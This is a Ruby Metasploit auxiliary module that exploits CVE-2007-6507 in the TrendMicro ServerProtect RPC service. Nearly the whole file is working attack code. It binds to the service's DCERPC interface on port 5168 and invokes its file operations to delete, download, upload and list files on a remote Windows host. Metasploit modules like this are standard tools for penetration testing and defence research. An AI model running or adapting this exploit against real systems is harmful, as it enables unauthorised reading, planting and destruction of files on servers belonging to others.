## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Post::Windows::Registry def initialize(info = {}) super( update_info( info, 'Name' => 'TrendMicro ServerProtect File Access', 'Description' => %q{ This modules exploits a remote file access flaw in the ServerProtect Windows Server RPC service. Please see the action list (or the help output) for more information. }, 'DefaultOptions' => { 'DCERPC::ReadTimeout' => 300 # Long-running RPC calls }, 'Author' => [ 'toto' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-6507' ], [ 'OSVDB', '44318' ], [ 'ZDI', '07-077' ], ], 'Actions' => [ [ 'delete', { 'Description' => 'Delete a file' } ], [ 'download', { 'Description' => 'Download a file' } ], [ 'upload', { 'Description' => 'Upload a file' } ], [ 'list', { 'Description' => 'List files (not recommended - will crash the driver)' } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ Opt::RPORT(5168), OptString.new( 'RPATH', [ false, 'The remote filesystem path', nil ] ), OptString.new( 'LPATH', [ false, 'The local filesystem path', nil ] ), ] ) end def check_option(name) if !datastore[name] raise "The #{name} parameter is required by this option" end end def auxiliary_commands { 'delete' => 'Delete a file', 'download' => 'Download a file', 'upload' => 'Upload a file', 'list' => 'List files (not recommended - will crash the driver)' } end def run case action.name when 'download' check_option('RPATH') check_option('LPATH') cmd_download(datastore['RPATH'], datastore['LPATH']) when 'upload' check_option('RPATH') check_option('LPATH') cmd_upload(datastore['RPATH'], datastore['LPATH']) when 'delete' check_option('RPATH') cmd_delete(datastore['RPATH']) when 'list' check_option('RPATH') cmd_list(datastore['RPATH']) else print_error("Unknown action #{action.name}") end end def deunicode(str) str.gsub("\x00", '').strip end # # Once this function is used, if cmd_download or cmd_upload is called the server will crash :/ # def cmd_list(*args) if args.empty? print_status('Usage: list folder') return end file = Rex::Text.to_unicode(args[0]) data = "\0" * 0x100 data[4, file.length] = file # FindFirstFile resp = serverprotect_rpccmd(131080, data, 0x100) return if !resp if resp.length != 0x108 print_error('An unknown error occurred while calling FindFirstFile.') return end ret, = resp[0x104, 4].unpack('V') if ret != 0 print_error("An error occurred while calling FindFirstFile #{args[0]}: #{ret}.") return end handle, = resp[4, 4].unpack('V') file = deunicode(resp[0x30, 0xd0]) print("#{file}\n") data = "\0" * 0x100 data[0, 4] = [handle].pack('V') loop do # FindNextFile resp = serverprotect_rpccmd(131081, data, 0x100) return if !resp if resp.length != 0x108 print_error('An unknown error occurred while calling FindFirstFile.') break end ret, = resp[0x104, 4].unpack('V') if ret != 0 break end file = deunicode(resp[0x30, 0xd0]) print("#{file}\n") end data = [handle].pack('V') # FindClose serverprotect_rpccmd(131082, data, 0x100) end def cmd_delete(*args) if args.empty? print_status('Usage: delete c:\\windows\\system.ini') return end data = Rex::Text.to_unicode(args[0] + "\0") resp = serverprotect_rpccmd(131077, data, 4) return if !resp if (resp.length == 12) ret, = resp[8, 4].unpack('V') if ret == 0 print_good("File #{args[0]} successfully deleted.") else print_error("An error occurred while deleting #{args[0]}: #{ret}.") end end end def cmd_download(*args) if (args.length < 2) print_status('Usage: download remote_file local_file') return end # GENERIC_READ: 0x80000000 # FILE_SHARE_READ: 1 # OPEN_EXISTING: 3 # FILE_ATTRIBUTE_NORMAL: 0x80 handle = serverprotect_createfile(args[0], 0x80000000, 1, 3, 0x80) if !handle || (handle == 0) return end fd = File.new(args[1], 'wb') print_status("Downloading #{args[0]}...") # reads 0x1000 bytes (hardcoded in the soft) until (data = serverprotect_readfile(handle)).empty? fd.write(data) end fd.close serverprotect_closehandle(handle) print_good("File #{args[0]} successfully downloaded.") end def cmd_upload(*args) if (args.length < 2) print_status('Usage: upload local_file remote_file') return end # GENERIC_WRITE: 0x40000000 # FILE_SHARE_WRITE: 2 # CREATE_ALWAYS: 2 # FILE_ATTRIBUTE_NORMAL: 0x80 handle = serverprotect_createfile(args[1], 0x40000000, 2, 2, 0x80) if (handle == 0) return end fd = File.new(args[0], 'rb') print_status("Uploading #{args[1]}...") # write 0x1000 bytes (hardcoded in the soft) while (data = fd.read(0x1000) && !data.nil) serverprotect_writefile(handle, data) end fd.close serverprotect_closehandle(handle) print_good("File #{args[1]} successfully uploaded.") end def serverprotect_createfile(file, desiredaccess, sharemode, creationdisposition, flags) data = "\0" * 540 file = Rex::Text.to_unicode(file) data[4, file.length] = file data[524, 16] = [desiredaccess, sharemode, creationdisposition, flags].pack('VVVV') resp = serverprotect_rpccmd(131073, data, 540) return if !resp if (resp.length < 548) print_error('An unknown error occurred while calling CreateFile.') return 0 else handle, = resp[4, 4].unpack('V') ret, = resp[544, 4].unpack('V') if ret != 0 print_error("An error occurred while calling CreateFile: #{ret}.") return 0 else return handle end end end def serverprotect_readfile(handle) data = "\0" * 4104 data[0, 4] = [handle].pack('V') resp = serverprotect_rpccmd(131075, data, 4104) return if !resp if (resp.length != 4112) print_error('An unknown error occurred while calling ReadFile.') return '' else ret, = resp[4108, 4].unpack('V') if ret != 0 print_error("An error occurred while calling CreateFile: #{ret}.") return '' else br, = resp[4104, 4].unpack('V') return resp[8, br] end end end def serverprotect_writefile(handle, buf) data = "\0" * 4104 data[0, 4] = [handle].pack('V') data[4, buf.length] = buf data[4100, 4] = [buf.length].pack('V') resp = serverprotect_rpccmd(131076, data, 4104) return if !resp if (resp.length != 4112) print_error('An unknown error occurred while calling WriteFile.') return 0 else ret, = resp[4108, 4].unpack('V') if ret != 0 print_error("An error occurred while calling WriteFile: #{ret}.") return 0 end end return 1 end def serverprotect_closehandle(handle) data = [handle].pack('V') resp = serverprotect_rpccmd(131074, data, 4) return if !resp if (resp.length != 12) print_error('An unknown error occurred while calling CloseHandle.') else ret, = resp[8, 4].unpack('V') if ret != 0 print_error("An error occurred while calling CloseHandle: #{ret}.") end end end def serverprotect_rpccmd(cmd, data, osize) if (data.length.remainder(4) != 0) padding = "\0" * (4 - data.length.remainder(4)) else padding = '' end stub = NDR.long(cmd) + NDR.long(data.length) + data + padding + NDR.long(data.length) + NDR.long(osize) return serverprotect_rpc_call(0, stub) end # # Call the serverprotect RPC service # def serverprotect_rpc_call(opnum, data = '') connect handle = dcerpc_handle( '25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']] ) dcerpc_bind(handle) dcerpc.call(opnum, data) outp = '' if dcerpc.last_response && dcerpc.last_response.stub_data outp = dcerpc.last_response.stub_data end disconnect outp rescue ::Interrupt raise $ERROR_INFO rescue StandardError => e print_error("Error: #{e}") nil end end